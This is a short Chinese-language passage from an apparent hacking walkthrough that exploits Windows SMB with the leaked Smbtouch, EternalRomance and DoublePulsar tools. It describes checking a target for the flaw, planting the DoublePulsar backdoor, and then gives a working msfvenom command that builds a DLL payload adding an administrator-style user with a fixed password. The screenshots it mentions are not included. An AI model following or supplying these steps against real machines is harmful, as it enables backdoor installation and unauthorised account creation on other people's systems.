先使用Smbtouch模块检测一下是否有漏洞。
然后使用Doublepulsar写一个shellcode到本地。
生成成功后的截图：
再使用EternalRomance植入Doublepulsar后门。
成功的截图：
PS:仿佛是由于之前已经上传过bin的缘故，第二次测试的时候失败了。但是不影响后续操作。
都成功了以后该我们的Doublepulsar来反弹shell了。
我这里就不麻烦的去反弹了,msf直接生成一个添加用户的dll。PS：使用dll的时候要用两个斜杠。
msfvenom -p windows/adduser USER=admins PASS=zhenxishaonianshi -f dll > adduser.dll
